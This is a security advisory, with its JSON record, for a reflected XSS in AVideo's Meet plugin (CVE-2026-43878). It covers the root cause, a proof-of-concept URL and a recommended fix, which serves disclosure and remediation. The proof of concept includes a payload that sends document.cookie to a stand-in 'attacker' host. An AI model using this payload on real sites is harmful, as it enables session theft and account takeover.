GHSA-MM5F-8Q57-4FC4

Vulnerability from github – Published: 2026-05-05 19:15 – Updated: 2026-05-13 14:19
VLAI
Summary
Video: Reflected XSS in plugin/Meet/iframe.php via Unescaped user and pass Parameters in JavaScript String Literal
Details

Summary

plugin/Meet/iframe.php echoes the attacker-controlled user and pass query parameters unescaped into a JavaScript double-quoted string literal inside a <script> block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target.

Details

Root cause is a two-step reflection with no escaping applied at the HTML/JS sink.

Step 1 — User::loginFromRequestToGet() at objects/user.php:3363-3373 returns the raw concatenation of $_REQUEST['user'] and $_REQUEST['pass'] with no URL-encoding, HTML-escaping, or other sanitization:

public static function loginFromRequestToGet()
{
    if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {
        $return = "user={$_REQUEST['user']}&pass={$_REQUEST['pass']}";
        if (!empty($_REQUEST['encodedPass'])) {
            $return .= "&encodedPass=" . intval($_REQUEST['encodedPass']);
        }
        return $return;
    }
    return "";
}

Step 2 — plugin/Meet/iframe.php builds $readyToClose from that string and emits it into a JS string literal without escaping:

// plugin/Meet/iframe.php:19-22
$userCredentials = User::loginFromRequestToGet();  // set in validateMeet.php:19
$readyToClose = User::getChannelLink($meet->getUsers_id()) . "?{$userCredentials}";
if (Meet::isModerator($meet_schedule_id)) {
    $readyToClose = "{$global['webSiteRootURL']}plugin/Meet/?{$userCredentials}";
    ...
}
// plugin/Meet/iframe.php:115-117
function _readyToClose() {
    document.location = "<?php echo $readyToClose; ?>";
}

Note that xss_esc() IS applied a few lines earlier to the adjacent nameIdentification parameter (line 45) — the developer knew about XSS here but missed $userCredentials. No call to json_encode, htmlspecialchars, xss_esc, or rawurlencode is applied to $readyToClose.

Reachability to unauthenticated users. plugin/Meet/validateMeet.php gates on Meet::canJoinMeetWithReason() and Meet::validatePassword():

  • Meet::canJoinMeetWithReason() (plugin/Meet/Meet.php:399-402) returns canJoin=true for any visitor when the meet is public (getPublic() == "2"): php if ($meet->getPublic() == "2") { $obj->canJoin = true; $obj->reason = "Is public"; return $obj; }
  • Meet::validatePassword() (plugin/Meet/Meet.php:595-618) returns true when the meet has no password set.
  • validateMeet.php:27 only blocks unauthenticated users when getPublic() is empty.

So an unauthenticated attacker can reach the sink against any public, no-password Meet schedule (the most common configuration). With a known password or moderator/admin role, all Meets are reachable.

Payload construction. With user=";}alert(1);function a(){" and pass=x, the rendered script becomes:

function _readyToClose() {
    document.location = "CHANNEL_URL?user=";}alert(1);function a(){"&pass=x";
}

Parse flow: 1. document.location = "CHANNEL_URL?user="; — assignment completes. 2. } — closes _readyToClose. 3. alert(1); — executes immediately at script parse/run time (does NOT require _readyToClose to be called). 4. function a(){"&pass=x";} — declares a harmless function that absorbs the trailing garbage.

PoC

Precondition: one public Meet schedule with no password (or the attacker supplies &meet_password=<known> / is moderator/admin).

  1. Attacker sends victim the following URL: https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x URL-decoded user payload: ";}alert(1);function a(){"

  2. Server reflects the parameters unescaped into the script block on line 116.

  3. Victim's browser parses the script; alert(1) fires immediately on page load.

  4. Verification: $ curl -s 'https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x' \ | grep -A1 _readyToClose function _readyToClose() { document.location = "https://TARGET/channel/...?user=";}alert(1);function a(){"&pass=x"; The injected ";}alert(1);function a(){" sequence appears verbatim in the response, closing the JS string and function and executing alert(1) at parse time.

  5. Realistic exploitation replaces alert(1) with a cookie-exfiltration payload: user=%22%3B%7Dfetch('https%3A%2F%2Fattacker%2Fc%3D'%2Bdocument.cookie)%3Bfunction%20a()%7B%22&pass=x

Impact

Reflected XSS in the AVideo origin. An attacker who tricks a logged-in AVideo user into clicking a crafted link can:

  • Steal the victim's session cookies / CSRF tokens (cookies are scoped to the AVideo root, not just /plugin/Meet/).
  • Perform arbitrary authenticated actions as the victim (upload/delete videos, change profile, post comments, change email/password → account takeover).
  • Pivot to admin takeover if the victim is an admin (admin endpoints are same-origin).
  • Deliver phishing content under the trusted AVideo domain.

The attack is unauthenticated on any install that has at least one public, no-password Meet schedule — which is the default configuration when a moderator creates an open meeting. Scope is Changed because XSS in a plugin subpath can exfiltrate session cookies of the broader AVideo application.

Recommended Fix

Apply JSON encoding at the sink in plugin/Meet/iframe.php:116 so the string is always a valid JS literal regardless of its contents:

function _readyToClose() {
    document.location = <?php echo json_encode($readyToClose, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); ?>;
}

Additionally, harden User::loginFromRequestToGet() (objects/user.php:3363-3373) to URL-encode the components so downstream sinks cannot be broken out of with ", <, or other control characters:

public static function loginFromRequestToGet()
{
    if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {
        $return = "user=" . rawurlencode($_REQUEST['user'])
                . "&pass=" . rawurlencode($_REQUEST['pass']);
        if (!empty($_REQUEST['encodedPass'])) {
            $return .= "&encodedPass=" . intval($_REQUEST['encodedPass']);
        }
        return $return;
    }
    return "";
}

Audit every other caller of loginFromRequestToGet() (and any other function that returns raw $_REQUEST['user'] / $_REQUEST['pass']) for similar sinks.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43878"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T19:15:56Z",
    "nvd_published_at": "2026-05-11T22:22:12Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`plugin/Meet/iframe.php` echoes the attacker-controlled `user` and `pass` query parameters unescaped into a JavaScript double-quoted string literal inside a `\u003cscript\u003e` block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim\u0027s browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target.\n\n## Details\n\nRoot cause is a two-step reflection with no escaping applied at the HTML/JS sink.\n\n**Step 1 \u2014 `User::loginFromRequestToGet()` at `objects/user.php:3363-3373`** returns the raw concatenation of `$_REQUEST[\u0027user\u0027]` and `$_REQUEST[\u0027pass\u0027]` with no URL-encoding, HTML-escaping, or other sanitization:\n\n```php\npublic static function loginFromRequestToGet()\n{\n    if (!empty($_REQUEST[\u0027user\u0027]) \u0026\u0026 !empty($_REQUEST[\u0027pass\u0027])) {\n        $return = \"user={$_REQUEST[\u0027user\u0027]}\u0026pass={$_REQUEST[\u0027pass\u0027]}\";\n        if (!empty($_REQUEST[\u0027encodedPass\u0027])) {\n            $return .= \"\u0026encodedPass=\" . intval($_REQUEST[\u0027encodedPass\u0027]);\n        }\n        return $return;\n    }\n    return \"\";\n}\n```\n\n**Step 2 \u2014 `plugin/Meet/iframe.php`** builds `$readyToClose` from that string and emits it into a JS string literal without escaping:\n\n```php\n// plugin/Meet/iframe.php:19-22\n$userCredentials = User::loginFromRequestToGet();  // set in validateMeet.php:19\n$readyToClose = User::getChannelLink($meet-\u003egetUsers_id()) . \"?{$userCredentials}\";\nif (Meet::isModerator($meet_schedule_id)) {\n    $readyToClose = \"{$global[\u0027webSiteRootURL\u0027]}plugin/Meet/?{$userCredentials}\";\n    ...\n}\n```\n\n```php\n// plugin/Meet/iframe.php:115-117\nfunction _readyToClose() {\n    document.location = \"\u003c?php echo $readyToClose; ?\u003e\";\n}\n```\n\nNote that `xss_esc()` IS applied a few lines earlier to the adjacent `nameIdentification` parameter (line 45) \u2014 the developer knew about XSS here but missed `$userCredentials`. No call to `json_encode`, `htmlspecialchars`, `xss_esc`, or `rawurlencode` is applied to `$readyToClose`.\n\n**Reachability to unauthenticated users.** `plugin/Meet/validateMeet.php` gates on `Meet::canJoinMeetWithReason()` and `Meet::validatePassword()`:\n\n- `Meet::canJoinMeetWithReason()` (`plugin/Meet/Meet.php:399-402`) returns `canJoin=true` for any visitor when the meet is public (`getPublic() == \"2\"`):\n  ```php\n  if ($meet-\u003egetPublic() == \"2\") {\n      $obj-\u003ecanJoin = true;\n      $obj-\u003ereason = \"Is public\";\n      return $obj;\n  }\n  ```\n- `Meet::validatePassword()` (`plugin/Meet/Meet.php:595-618`) returns `true` when the meet has no password set.\n- `validateMeet.php:27` only blocks unauthenticated users when `getPublic()` is empty.\n\nSo an unauthenticated attacker can reach the sink against any public, no-password Meet schedule (the most common configuration). With a known password or moderator/admin role, all Meets are reachable.\n\n**Payload construction.** With `user=\";}alert(1);function a(){\"` and `pass=x`, the rendered script becomes:\n\n```javascript\nfunction _readyToClose() {\n    document.location = \"CHANNEL_URL?user=\";}alert(1);function a(){\"\u0026pass=x\";\n}\n```\n\nParse flow:\n1. `document.location = \"CHANNEL_URL?user=\";` \u2014 assignment completes.\n2. `}` \u2014 closes `_readyToClose`.\n3. `alert(1);` \u2014 executes immediately at script parse/run time (does NOT require `_readyToClose` to be called).\n4. `function a(){\"\u0026pass=x\";}` \u2014 declares a harmless function that absorbs the trailing garbage.\n\n## PoC\n\n**Precondition:** one public Meet schedule with no password (or the attacker supplies `\u0026meet_password=\u003cknown\u003e` / is moderator/admin).\n\n1. Attacker sends victim the following URL:\n   ```\n   https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1\u0026user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22\u0026pass=x\n   ```\n   URL-decoded `user` payload: `\";}alert(1);function a(){\"`\n\n2. Server reflects the parameters unescaped into the script block on line 116.\n\n3. Victim\u0027s browser parses the script; `alert(1)` fires immediately on page load.\n\n4. Verification:\n   ```\n   $ curl -s \u0027https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1\u0026user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22\u0026pass=x\u0027 \\\n       | grep -A1 _readyToClose\n   function _readyToClose() {\n       document.location = \"https://TARGET/channel/...?user=\";}alert(1);function a(){\"\u0026pass=x\";\n   ```\n   The injected `\";}alert(1);function a(){\"` sequence appears verbatim in the response, closing the JS string and function and executing `alert(1)` at parse time.\n\n5. Realistic exploitation replaces `alert(1)` with a cookie-exfiltration payload:\n   ```\n   user=%22%3B%7Dfetch(\u0027https%3A%2F%2Fattacker%2Fc%3D\u0027%2Bdocument.cookie)%3Bfunction%20a()%7B%22\u0026pass=x\n   ```\n\n## Impact\n\nReflected XSS in the AVideo origin. An attacker who tricks a logged-in AVideo user into clicking a crafted link can:\n\n- Steal the victim\u0027s session cookies / CSRF tokens (cookies are scoped to the AVideo root, not just `/plugin/Meet/`).\n- Perform arbitrary authenticated actions as the victim (upload/delete videos, change profile, post comments, change email/password \u2192 account takeover).\n- Pivot to admin takeover if the victim is an admin (admin endpoints are same-origin).\n- Deliver phishing content under the trusted AVideo domain.\n\nThe attack is unauthenticated on any install that has at least one public, no-password Meet schedule \u2014 which is the default configuration when a moderator creates an open meeting. Scope is Changed because XSS in a plugin subpath can exfiltrate session cookies of the broader AVideo application.\n\n## Recommended Fix\n\nApply JSON encoding at the sink in `plugin/Meet/iframe.php:116` so the string is always a valid JS literal regardless of its contents:\n\n```php\nfunction _readyToClose() {\n    document.location = \u003c?php echo json_encode($readyToClose, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); ?\u003e;\n}\n```\n\nAdditionally, harden `User::loginFromRequestToGet()` (`objects/user.php:3363-3373`) to URL-encode the components so downstream sinks cannot be broken out of with `\"`, `\u003c`, or other control characters:\n\n```php\npublic static function loginFromRequestToGet()\n{\n    if (!empty($_REQUEST[\u0027user\u0027]) \u0026\u0026 !empty($_REQUEST[\u0027pass\u0027])) {\n        $return = \"user=\" . rawurlencode($_REQUEST[\u0027user\u0027])\n                . \"\u0026pass=\" . rawurlencode($_REQUEST[\u0027pass\u0027]);\n        if (!empty($_REQUEST[\u0027encodedPass\u0027])) {\n            $return .= \"\u0026encodedPass=\" . intval($_REQUEST[\u0027encodedPass\u0027]);\n        }\n        return $return;\n    }\n    return \"\";\n}\n```\n\nAudit every other caller of `loginFromRequestToGet()` (and any other function that returns raw `$_REQUEST[\u0027user\u0027]` / `$_REQUEST[\u0027pass\u0027]`) for similar sinks.",
  "id": "GHSA-mm5f-8q57-4fc4",
  "modified": "2026-05-13T14:19:47Z",
  "published": "2026-05-05T19:15:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-mm5f-8q57-4fc4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43878"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Video: Reflected XSS in plugin/Meet/iframe.php via Unescaped user and pass Parameters in JavaScript String Literal"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…